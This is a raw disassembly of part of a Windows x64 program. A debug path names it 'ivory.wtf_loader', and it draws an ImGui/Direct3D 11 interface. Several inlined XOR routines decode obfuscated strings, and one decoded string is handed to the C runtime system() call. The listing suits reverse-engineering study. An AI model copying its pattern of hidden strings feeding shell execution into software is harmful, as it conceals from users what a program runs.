mov qword [rsp + 0x30], r12
lea r9, [rbp + 0x280]
mov qword [rsp + 0x28], rax
lea rdx, [0x1404a3110]
mov r8d, 0xf497
mov qword [rsp + 0x20], r12
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x140593140], r12
jne 0x1402bd58b
mov rcx, qword [0x1405932b8]
lea rax, [0x140593140]
mov qword [rsp + 0x30], r12
lea r9, [rbp + 0x280]
mov qword [rsp + 0x28], rax
lea rdx, [0x1404254a0]
mov r8d, 0xfdd2
mov qword [rsp + 0x20], r12
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x140593178], r12
jne 0x1402bd5cb
mov rcx, qword [0x1405932b8]
lea rax, [0x140593178]
mov qword [rsp + 0x30], r12
lea r9, [rbp + 0x280]
mov qword [rsp + 0x28], rax
lea rdx, [0x140491690]
mov r8d, 0x11a7a
mov qword [rsp + 0x20], r12
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x140593168], r12
jne 0x1402bd60b
mov rcx, qword [0x1405932b8]
lea rax, [0x140593168]
mov qword [rsp + 0x30], r12
lea r9, [rbp + 0x280]
mov qword [rsp + 0x28], rax
lea rdx, [0x140482550]
mov r8d, 0xf13e
mov qword [rsp + 0x20], r12
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x140593180], r12
jne 0x1402bd64b
mov rcx, qword [0x1405932b8]
lea rax, [0x140593180]
mov qword [rsp + 0x30], r12
lea r9, [rbp + 0x280]
mov qword [rsp + 0x28], rax
lea rdx, [0x1404ffe30]
mov r8d, 0x174
mov qword [rsp + 0x20], r12
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x140593188], r12
jne 0x1402bd68b
mov rcx, qword [0x1405932b8]
lea rax, [0x140593188]
mov qword [rsp + 0x30], r12
lea r9, [rbp + 0x280]
mov qword [rsp + 0x28], rax
lea rdx, [0x1404fffb0]
mov r8d, 0x17b
mov qword [rsp + 0x20], r12
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
mov rcx, qword [0x1405932a0]
call fcn.140041d90
mov rdx, qword [0x1405932c0]
mov rcx, qword [0x1405932b8]
call fcn.1400418c0
movss xmm3, dword [0x1403f433c]
lea rcx, [rbp + 0xa50]
movss xmm2, dword [0x1403f4338]
movss xmm1, dword [0x1403f432c]
movss dword [rsp + 0x20], xmm13
call fcn.140001460
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
mov edx, 5
call qword [sym.imp.USER32.dll_ShowWindow]
lea rdx, [rbp - 0x74]
mov byte [rsp + 0x61], r12b
lea rcx, [rsp + 0x61]
call fcn.1402c5c40
mov rcx, rax
cmp byte [rax + 3], r12b
je 0x1402bd7d4
cmp r15d, 2
jl 0x1402bd793
movdqa xmm3, xmmword [0x1403f45a0]
movdqa xmm2, xmm3
movdqa xmm0, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x1403f4810]
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1403f4810]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x1403f45d0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, dword [rax]
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x1403f4680]
xorps xmm2, xmm0
movd dword [rax], xmm2
jmp 0x1402bd7d4
mov r9, rcx
mov r8d, r12d
nop dword [rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, dl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 4
jl 0x1402bd7a0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [rbp + 0x530]
mov byte [rsp + 0x61], r12b
lea rcx, [rsp + 0x61]
call fcn.1402c5c50
mov r10, rax
cmp byte [rax + 0xd], r12b
je 0x1402bd954
mov r8d, r12d
cmp r15d, 2
jl 0x1402bd90d
movdqa xmm2, xmmword [0x1403f45a0]
mov r8d, r13d
movdqa xmm3, xmmword [0x1403f45c0]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x1403f4810]
movdqa xmm0, xmm2
mov eax, dword [0x1403f4680]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1403f45d0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [r10], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1403f45d0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm2, xmm0
movd dword [r10 + 4], xmm2
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0xe
jl 0x1402bd920
mov rcx, r10
call fcn.1400015d0
movss xmm12, dword [0x1403f44ec]
xor bl, bl
movss xmm14, dword [0x1403f4390]
xorps xmm8, xmm8
movss xmm9, dword [0x1403f441c]
movss xmm11, dword [0x1403f4498]
movss xmm15, dword [0x1403f4474]
movss xmm7, dword [0x1403f44b4]
mov dword [rsp + 0x64], ebx
movss xmm6, dword [0x1403f4440]
lea rcx, [rbp + 0x380]
xor r9d, r9d
mov dword [rsp + 0x20], r14d
xor r8d, r8d
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageW]
test eax, eax
je 0x1402bda16
lea rcx, [rbp + 0x380]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0x380]
call qword [sym.imp.USER32.dll_DispatchMessageW]
cmp dword [rbp + 0x388], 0x12
lea rcx, [rbp + 0x380]
movzx ebx, bl
cmove ebx, r14d
mov dword [rsp + 0x20], r14d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
movzx edi, bl
call qword [sym.imp.USER32.dll_PeekMessageW]
test eax, eax
jne 0x1402bd9c1
mov dword [rsp + 0x64], ebx
test bl, bl
jne 0x1402c5681
call fcn.140041b30
call fcn.1400429d0
call fcn.1400082d0
mov rax, qword [0x140593110]
test rax, rax
jne 0x1402bda52
mov r8d, 0xb9e
lea rdx, str.C:Users1Desktopivory.wtf_loaderimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x140593110]
movsd xmm0, qword [0x140591e08]
lea rcx, [rbp - 0x68]
mov qword [rax + 0x37e0], 0x41200000
xor edx, edx
mov qword [rax + 0x37d8], r12
mov dword [rax + 0x381c], 0x41a00000
mov dword [rax + 0x3820], 0x41a00000
movsd qword [rbp - 0x68], xmm0
call fcn.140011ac0
lea r8, [rbp + 0x130]
mov qword [rbp + 0x130], r12
xor edx, edx
mov qword [rbp + 0x60], r12
lea rcx, [rbp + 0x60]
call fcn.140011a30
cmp byte [0x1403f1e2f], r12b
mov rax, qword [0x1403f1e28]
mov qword [rbp - 0x68], rax
je 0x1402bdc13
cmp r15d, 2
jl 0x1402bdbcf
movdqa xmm2, xmmword [0x1403f45a0]
movdqa xmm3, xmmword [0x1403f45c0]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x1403f4810]
movdqa xmm0, xmm2
mov eax, dword [0x1403f4680]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1403f45d0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403f4630]
movd xmm1, dword [rbp - 0x68]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movdqa xmm0, xmm3
xorps xmm2, xmm1
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd dword [rbp - 0x68], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1403f45d0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403f4630]
movd xmm1, dword [rbp - 0x64]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp - 0x64], xmm2
jmp 0x1402bdc13
lea r9, [rbp - 0x68]
mov dword [rsp + 0x64], ebx
mov r8d, r12d
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, r13d
jl 0x1402bdbe0
xor edx, edx
lea rcx, [rbp - 0x68]
mov r8d, 0x20af
call fcn.14000ded0
lea rcx, [rsp + 0x78]
call fcn.140011760
lea rcx, [rsp + 0x70]
call fcn.140015950
call fcn.140003f10
add rax, 0x4c
mov qword [rbp - 0x68], rax
call fcn.140007af0
movss xmm1, dword [0x140593624]
mov rbx, rax
mov rcx, qword [0x140593110]
movss xmm0, dword [0x140593620]
movss dword [rbp + 0x174], xmm1
movss xmm1, dword [0x14059362c]
mulss xmm1, dword [rcx + 0x37d0]
lea rcx, [rbp + 0x170]
movss dword [rbp + 0x170], xmm0
movss xmm0, dword [0x140593628]
movss dword [rbp + 0x17c], xmm1
movss dword [rbp + 0x178], xmm0
call fcn.140003a80
movss xmm0, dword [rsp + 0x70]
lea r8, [rbp + 0x68]
addss xmm0, dword [rsp + 0x78]
movss xmm1, dword [rsp + 0x74]
lea rdx, [rsp + 0x78]
addss xmm1, dword [rsp + 0x7c]
mov dword [rsp + 0x28], r12d
mov r9d, eax
mov rcx, rbx
movss dword [rbp + 0x68], xmm0
movss xmm0, dword [0x1403f43e4]
movss dword [rsp + 0x20], xmm0
movss dword [rbp + 0x6c], xmm1
call fcn.14002aa10
call fcn.140007af0
mov edx, 0xff
mov dword [rsp + 0x20], reloc.WLDAP32.dll_Ordinal_50
mov r9d, edx
lea rcx, [rbp + 0xa60]
mov r8d, edx
mov rbx, rax
call fcn.140036670
mov rcx, rax
call fcn.140003a80
movss xmm0, dword [rsp + 0x70]
lea r9, [rbp + 0x80]
movss xmm2, dword [rsp + 0x78]
lea r8, [rbp + 0x88]
movss xmm3, dword [rsp + 0x7c]
addss xmm0, xmm2
movss xmm1, dword [rsp + 0x74]
addss xmm2, xmm8
mov rdx, qword [0x140593190]
addss xmm1, xmm3
mov dword [rsp + 0x40], r12d
addss xmm3, xmm8
mov rcx, rbx
mov dword [rbp + 0x70], 0x3f800000
movss dword [rbp + 0x80], xmm0
movss xmm0, dword [0x1403f43e4]
movss dword [rsp + 0x38], xmm0
mov dword [rsp + 0x30], eax
lea rax, [rbp + 0x70]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x78]
mov qword [rsp + 0x20], rax
movss dword [rbp + 0x84], xmm1
movss dword [rbp + 0x88], xmm2
movss dword [rbp + 0x8c], xmm3
mov dword [rbp + 0x74], 0x3f800000
mov qword [rbp + 0x78], r12
call fcn.14002b760
mov rcx, qword [0x140593110]
mov rax, qword [rcx + 0x3ef8]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3ef8]
movss xmm1, dword [0x1405935ac]
movss xmm0, dword [0x1405935a8]
mov r14, qword [rax + 0x298]
movss dword [rbp + 0x184], xmm1
movss xmm1, dword [0x1405935b4]
mulss xmm1, dword [rcx + 0x37d0]
lea rcx, [rbp + 0x180]
movss dword [rbp + 0x180], xmm0
movss xmm0, dword [0x1405935b0]
movss dword [rbp + 0x18c], xmm1
movss dword [rbp + 0x188], xmm0
call fcn.140003a80
movss xmm1, dword [0x14059359c]
mov esi, eax
mov rcx, qword [0x140593110]
movss xmm0, dword [0x140593598]
movss dword [rbp + 0x194], xmm1
movss xmm1, dword [0x1405935a4]
mulss xmm1, dword [rcx + 0x37d0]
lea rcx, [rbp + 0x190]
movss dword [rbp + 0x190], xmm0
movss xmm0, dword [0x1405935a0]
movss dword [rbp + 0x19c], xmm1
movss dword [rbp + 0x198], xmm0
call fcn.140003a80
movss xmm1, dword [0x14059359c]
mov edi, eax
mov rcx, qword [0x140593110]
movss xmm0, dword [0x140593598]
movss dword [rbp + 0x1a4], xmm1
movss xmm1, dword [0x1405935a4]
mulss xmm1, dword [rcx + 0x37d0]
lea rcx, [rbp + 0x1a0]
movss dword [rbp + 0x1a0], xmm0
movss xmm0, dword [0x1405935a0]
movss dword [rbp + 0x1ac], xmm1
movss dword [rbp + 0x1a8], xmm0
call fcn.140003a80
movss xmm1, dword [0x1405935ac]
mov ebx, eax
mov rcx, qword [0x140593110]
movss xmm0, dword [0x1405935a8]
movss dword [rbp + 0x1b4], xmm1
movss xmm1, dword [0x1405935b4]
mulss xmm1, dword [rcx + 0x37d0]
lea rcx, [rbp + 0x1b0]
movss dword [rbp + 0x1b0], xmm0
movss xmm0, dword [0x1405935b0]
movss dword [rbp + 0x1bc], xmm1
movss dword [rbp + 0x1b8], xmm0
call fcn.140003a80
movss xmm0, dword [rsp + 0x70]
lea r8, [rbp + 0x90]
movss xmm1, dword [rsp + 0x78]
lea rdx, [rbp + 0x98]
movss xmm2, dword [rsp + 0x7c]
mov r9d, eax
mov rcx, qword [rbp - 0x68]
mulss xmm0, xmm10
mov dword [rsp + 0x40], r12d
movss xmm3, dword [rcx]
mov rcx, r14
mulss xmm3, dword [0x1403f43c8]
subss xmm0, xmm3
addss xmm0, xmm1
addss xmm1, xmm3
movss dword [rbp + 0x90], xmm0
movaps xmm0, xmm2
addss xmm0, dword [0x1403f4464]
addss xmm2, dword [0x1403f445c]
movss dword [rbp + 0x98], xmm1
movss dword [rbp + 0x94], xmm0
movss xmm0, dword [0x1403f43e4]
movss dword [rsp + 0x38], xmm0
mov dword [rsp + 0x30], esi
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], ebx
movss dword [rbp + 0x9c], xmm2
call fcn.14002abc0
mov rcx, qword [0x140593110]
mov rax, qword [rcx + 0x3ef8]
mov byte [rax + 0xb8], 1
movss xmm1, dword [0x14059359c]
mov rax, qword [rcx + 0x3ef8]
movss xmm0, dword [0x140593598]
movss dword [rbp + 0x1c4], xmm1
movss xmm1, dword [0x1405935a4]
mulss xmm1, dword [rcx + 0x37d0]
lea rcx, [rbp + 0x1c0]
mov r14, qword [rax + 0x298]
movss dword [rbp + 0x1c0], xmm0
movss xmm0, dword [0x1405935a0]
movss dword [rbp + 0x1cc], xmm1
movss dword [rbp + 0x1c8], xmm0
call fcn.140003a80
movss xmm1, dword [0x1405935ac]
mov esi, eax
mov rcx, qword [0x140593110]
movss xmm0, dword [0x1405935a8]
movss dword [rbp + 0x1d4], xmm1
movss xmm1, dword [0x1405935b4]
mulss xmm1, dword [rcx + 0x37d0]
lea rcx, [rbp + 0x1d0]
movss dword [rbp + 0x1d0], xmm0
movss xmm0, dword [0x1405935b0]
movss dword [rbp + 0x1dc], xmm1
movss dword [rbp + 0x1d8], xmm0
call fcn.140003a80
movss xmm1, dword [0x1405935ac]
mov edi, eax
mov rcx, qword [0x140593110]
movss xmm0, dword [0x1405935a8]
movss dword [rbp + 0x1e4], xmm1
movss xmm1, dword [0x1405935b4]
mulss xmm1, dword [rcx + 0x37d0]
lea rcx, [rbp + 0x1e0]
movss dword [rbp + 0x1e0], xmm0
movss xmm0, dword [0x1405935b0]
movss dword [rbp + 0x1ec], xmm1
movss dword [rbp + 0x1e8], xmm0
call fcn.140003a80
movss xmm1, dword [0x14059359c]
mov ebx, eax
mov rcx, qword [0x140593110]
movss xmm0, dword [0x140593598]
movss dword [rbp + 0x1f4], xmm1
movss xmm1, dword [0x1405935a4]
mulss xmm1, dword [rcx + 0x37d0]
lea rcx, [rbp + 0x1f0]
movss dword [rbp + 0x1f0], xmm0
movss xmm0, dword [0x1405935a0]
movss dword [rbp + 0x1fc], xmm1
movss dword [rbp + 0x1f8], xmm0
call fcn.140003a80
mov rcx, qword [rbp - 0x68]
lea r8, [rbp + 0x128]
movss xmm3, dword [rsp + 0x70]
lea rdx, [rbp + 0xa8]
movss xmm2, dword [rsp + 0x7c]
movaps xmm0, xmm3
mov dword [rsp + 0x40], r12d
mov r9d, eax
movss xmm4, dword [rcx]
mov rcx, r14
mulss xmm4, dword [0x1403f43c8]
mulss xmm3, xmm10
subss xmm0, xmm4
subss xmm3, xmm4
addss xmm0, dword [rsp + 0x78]
addss xmm3, dword [rsp + 0x78]
movss dword [rbp + 0x128], xmm0
movaps xmm0, xmm2
addss xmm0, dword [0x1403f4464]
addss xmm2, dword [0x1403f445c]
movss dword [rbp + 0xa8], xmm3
movss dword [rbp + 0x12c], xmm0
movss xmm0, dword [0x1403f43e4]
movss dword [rsp + 0x38], xmm0
mov dword [rsp + 0x30], esi
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], ebx
movss dword [rbp + 0xac], xmm2
call fcn.14002abc0
mov rcx, qword [0x140593110]
mov rax, qword [rcx + 0x3ef8]
mov byte [rax + 0xb8], 1
movss xmm1, dword [0x1405935ac]
mov rax, qword [rcx + 0x3ef8]
movss xmm0, dword [0x1405935a8]
movss dword [rbp + 0x204], xmm1
movss xmm1, dword [0x1405935b4]
mulss xmm1, dword [rcx + 0x37d0]
lea rcx, [rbp + 0x200]
mov r14, qword [rax + 0x298]
movss dword [rbp + 0x200], xmm0
movss xmm0, dword [0x1405935b0]
movss dword [rbp + 0x20c], xmm1
movss dword [rbp + 0x208], xmm0
call fcn.140003a80
movss xmm1, dword [0x14059359c]
mov esi, eax
mov rcx, qword [0x140593110]
movss xmm0, dword [0x140593598]
movss dword [rbp + 0x214], xmm1
movss xmm1, dword [0x1405935a4]
mulss xmm1, dword [rcx + 0x37d0]
lea rcx, [rbp + 0x210]
movss dword [rbp + 0x210], xmm0
movss xmm0, dword [0x1405935a0]
movss dword [rbp + 0x21c], xmm1
movss dword [rbp + 0x218], xmm0
call fcn.140003a80
movss xmm1, dword [0x14059359c]
mov edi, eax
mov rcx, qword [0x140593110]
movss xmm0, dword [0x140593598]
movss dword [rbp + 0x224], xmm1
movss xmm1, dword [0x1405935a4]
mulss xmm1, dword [rcx + 0x37d0]
lea rcx, [rbp + 0x220]
movss dword [rbp + 0x220], xmm0
movss xmm0, dword [0x1405935a0]
movss dword [rbp + 0x22c], xmm1
movss dword [rbp + 0x228], xmm0
call fcn.140003a80
movss xmm1, dword [0x1405935ac]
mov ebx, eax
mov rcx, qword [0x140593110]
movss xmm0, dword [0x1405935a8]
movss dword [rbp + 0x144], xmm1
movss xmm1, dword [0x1405935b4]
mulss xmm1, dword [rcx + 0x37d0]
lea rcx, [rbp + 0x140]
movss dword [rbp + 0x140], xmm0
movss xmm0, dword [0x1405935b0]
movss dword [rbp + 0x14c], xmm1
movss dword [rbp + 0x148], xmm0
call fcn.140003a80
movss xmm0, dword [rsp + 0x70]
movss xmm2, dword [rsp + 0x78]
movss xmm3, dword [rsp + 0x74]
mov rcx, qword [rbp - 0x68]
mulss xmm0, xmm10
mov dword [rsp + 0x40], r12d
movss xmm4, dword [rcx]
mulss xmm4, dword [0x1403f43c8]
subss xmm0, xmm4
addss xmm0, xmm2
addss xmm2, xmm4
movss dword [rbp + 0xb0], xmm0
movaps xmm0, xmm3
subss xmm0, dword [0x1403f4464]
subss xmm3, dword [0x1403f445c]
movss dword [rbp + 0xb8], xmm2
addss xmm0, dword [rsp + 0x7c]
addss xmm3, dword [rsp + 0x7c]
movss dword [rbp + 0xb4], xmm0
movss xmm0, dword [0x1403f43e4]
movss dword [rsp + 0x38], xmm0
mov dword [rsp + 0x30], esi
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], ebx
movss dword [rbp + 0xbc], xmm3
mov r9d, eax
lea r8, [rbp + 0xb0]
lea rdx, [rbp + 0xb8]
mov rcx, r14
call fcn.14002abc0
mov rcx, qword [0x140593110]
mov rax, qword [rcx + 0x3ef8]
mov byte [rax + 0xb8], 1
movss xmm1, dword [0x14059359c]
mov rax, qword [rcx + 0x3ef8]
movss xmm0, dword [0x140593598]
movss dword [rbp + 0x164], xmm1
movss xmm1, dword [0x1405935a4]
mulss xmm1, dword [rcx + 0x37d0]
lea rcx, [rbp + 0x160]
mov r14, qword [rax + 0x298]
movss dword [rbp + 0x160], xmm0
movss xmm0, dword [0x1405935a0]
movss dword [rbp + 0x16c], xmm1
movss dword [rbp + 0x168], xmm0
call fcn.140003a80
movss xmm1, dword [0x1405935ac]
mov esi, eax
mov rcx, qword [0x140593110]
movss xmm0, dword [0x1405935a8]
movss dword [rbp + 0x154], xmm1
movss xmm1, dword [0x1405935b4]
mulss xmm1, dword [rcx + 0x37d0]
lea rcx, [rbp + 0x150]
movss dword [rbp + 0x150], xmm0
movss xmm0, dword [0x1405935b0]
movss dword [rbp + 0x15c], xmm1
movss dword [rbp + 0x158], xmm0
call fcn.140003a80
movss xmm1, dword [0x1405935ac]
mov edi, eax
mov rcx, qword [0x140593110]
movss xmm0, dword [0x1405935a8]
movss dword [rbp + 0x234], xmm1
movss xmm1, dword [0x1405935b4]
mulss xmm1, dword [rcx + 0x37d0]
lea rcx, [rbp + 0x230]
movss dword [rbp + 0x230], xmm0
movss xmm0, dword [0x1405935b0]
movss dword [rbp + 0x23c], xmm1
movss dword [rbp + 0x238], xmm0
call fcn.140003a80
movss xmm1, dword [0x14059359c]
mov ebx, eax
mov rcx, qword [0x140593110]
movss xmm0, dword [0x140593598]
movss dword [rbp + 0x244], xmm1
movss xmm1, dword [0x1405935a4]
mulss xmm1, dword [rcx + 0x37d0]
lea rcx, [rbp + 0x240]
movss dword [rbp + 0x240], xmm0
movss xmm0, dword [0x1405935a0]
movss dword [rbp + 0x24c], xmm1
movss dword [rbp + 0x248], xmm0
call fcn.140003a80
movss xmm4, dword [rsp + 0x70]
movss xmm3, dword [rsp + 0x74]
movaps xmm0, xmm4
mov rcx, qword [rbp - 0x68]
movaps xmm1, xmm3
subss xmm1, dword [0x1403f4464]
subss xmm3, dword [0x1403f445c]
mulss xmm4, xmm10
mov dword [rsp + 0x40], r12d
movss xmm5, dword [rcx]
mulss xmm5, dword [0x1403f43c8]
addss xmm1, dword [rsp + 0x7c]
addss xmm3, dword [rsp + 0x7c]
subss xmm0, xmm5
subss xmm4, xmm5
movss dword [rbp + 0xc4], xmm1
movss dword [rbp + 0xcc], xmm3
addss xmm0, dword [rsp + 0x78]
addss xmm4, dword [rsp + 0x78]
movss dword [rbp + 0xc0], xmm0
movss dword [rbp + 0xc8], xmm4
movss xmm0, dword [0x1403f43e4]
lea r8, [rbp + 0xc0]
movss dword [rsp + 0x38], xmm0
lea rdx, [rbp + 0xc8]
mov dword [rsp + 0x30], esi
mov r9d, eax
mov dword [rsp + 0x28], edi
mov rcx, r14
mov dword [rsp + 0x20], ebx
call fcn.14002abc0
call fcn.140007af0
movss xmm1, dword [0x140593644]
mov rbx, rax
mov rcx, qword [0x140593110]
movss xmm0, dword [0x140593640]
movss dword [rbp + 0x254], xmm1
movss xmm1, dword [0x14059364c]
mulss xmm1, dword [rcx + 0x37d0]
lea rcx, [rbp + 0x250]
movss dword [rbp + 0x250], xmm0
movss xmm0, dword [0x140593648]
movss dword [rbp + 0x25c], xmm1
movss dword [rbp + 0x258], xmm0
call fcn.140003a80
movss xmm2, dword [rsp + 0x78]
lea r8, [rbp + 0xd0]
movss xmm3, dword [rsp + 0x7c]
lea rdx, [rbp + 0xd8]
movss xmm4, dword [rsp + 0x70]
movaps xmm1, xmm3
addss xmm3, dword [0x1403f4418]
mov r14, qword [rbp - 0x68]
addss xmm1, xmm6
mov dword [rsp + 0x28], r12d
mov r9d, eax
mov rcx, rbx
movss xmm0, dword [r14]
mulss xmm0, dword [0x1403f43c8]
movss dword [rbp + 0xd4], xmm1
movss dword [rbp + 0xdc], xmm3
subss xmm4, xmm0
movaps xmm0, xmm2
addss xmm0, xmm4
subss xmm4, dword [0x1403f4448]
movss dword [rbp + 0xd0], xmm0
movss xmm0, dword [0x1403f4414]
addss xmm4, xmm2
movss dword [rsp + 0x20], xmm0
movss dword [rbp + 0xd8], xmm4
call fcn.14002aa10
call fcn.140007af0
movss xmm1, dword [0x1405935bc]
mov rbx, rax
mov rcx, qword [0x140593110]
movss xmm0, dword [0x1405935b8]
movss dword [rbp + 0x264], xmm1
movss xmm1, dword [0x1405935c4]
mulss xmm1, dword [rcx + 0x37d0]
lea rcx, [rbp + 0x260]
movss dword [rbp + 0x260], xmm0
movss xmm0, dword [0x1405935c0]
movss dword [rbp + 0x26c], xmm1
movss dword [rbp + 0x268], xmm0
call fcn.140003a80
movss xmm0, dword [r14]
mulss xmm0, dword [0x1403f43c8]
movss xmm2, dword [rsp + 0x78]
movss xmm3, dword [rsp + 0x7c]
movss xmm4, dword [rsp + 0x70]
movaps xmm1, xmm3
addss xmm3, dword [0x1403f4418]
subss xmm4, xmm0
movaps xmm0, xmm2
addss xmm1, xmm6
movss dword [rbp + 0xec], xmm3
addss xmm0, xmm4
subss xmm4, dword [0x1403f4448]
movss dword [rbp + 0xe4], xmm1
movss dword [rbp + 0xe0], xmm0
addss xmm4, xmm2
movss dword [rbp + 0xe8], xmm4
movss xmm0, dword [0x1403f4414]
lea r8, [rbp + 0xe0]
movss dword [rsp + 0x30], xmm13
lea rdx, [rbp + 0xe8]
mov dword [rsp + 0x28], r12d
mov r9d, eax
mov rcx, rbx
movss dword [rsp + 0x20], xmm0
call fcn.14002a900
call fcn.140007af0
movss xmm1, dword [0x1405935dc]
mov rbx, rax
mov rcx, qword [0x140593110]
movss xmm0, dword [0x1405935d8]
movss dword [rbp + 0x274], xmm1
movss xmm1, dword [0x1405935e4]
mulss xmm1, dword [rcx + 0x37d0]
lea rcx, [rbp + 0x270]
movss dword [rbp + 0x270], xmm0
movss xmm0, dword [0x1405935e0]
movss dword [rbp + 0x27c], xmm1
movss dword [rbp + 0x278], xmm0
call fcn.140003a80
movss xmm0, dword [r14]
lea r9, [rbp + 0x100]
mulss xmm0, dword [0x1403f43c8]
lea r8, [rbp + 0x108]
mov rcx, rbx
mov rdx, qword [0x1405931b0]
movss xmm4, dword [rsp + 0x70]
movss xmm3, dword [rsp + 0x7c]
movss xmm6, dword [0x1403f443c]
subss xmm4, xmm0
mov dword [rsp + 0x30], eax
movaps xmm0, xmm3
addss xmm3, dword [0x1403f4420]
addss xmm0, xmm6
mov dword [rbp + 0xf0], 0x3f800000
lea rax, [rbp + 0xf0]
mov dword [rbp + 0xf4], 0x3f800000
movaps xmm1, xmm4
mov qword [rsp + 0x28], rax
subss xmm1, dword [0x1403f43c0]
subss xmm4, dword [0x1403f4410]
lea rax, [rbp + 0xf8]
movss dword [rbp + 0x104], xmm0
movss dword [rbp + 0x10c], xmm3
mov qword [rbp + 0xf8], r12
addss xmm1, dword [rsp + 0x78]
addss xmm4, dword [rsp + 0x78]
mov qword [rsp + 0x20], rax
movss dword [rbp + 0x100], xmm1
movss dword [rbp + 0x108], xmm4
call fcn.14002b670
call fcn.140007af0
movss xmm1, dword [0x14059353c]
mov rbx, rax
mov rcx, qword [0x140593110]
movss xmm0, dword [0x140593538]
movss dword [rbp + 0x54], xmm1
movss xmm1, dword [0x140593544]
mulss xmm1, dword [rcx + 0x37d0]
lea rcx, [rbp + 0x50]
movss dword [rbp + 0x50], xmm0
movss xmm0, dword [0x140593540]
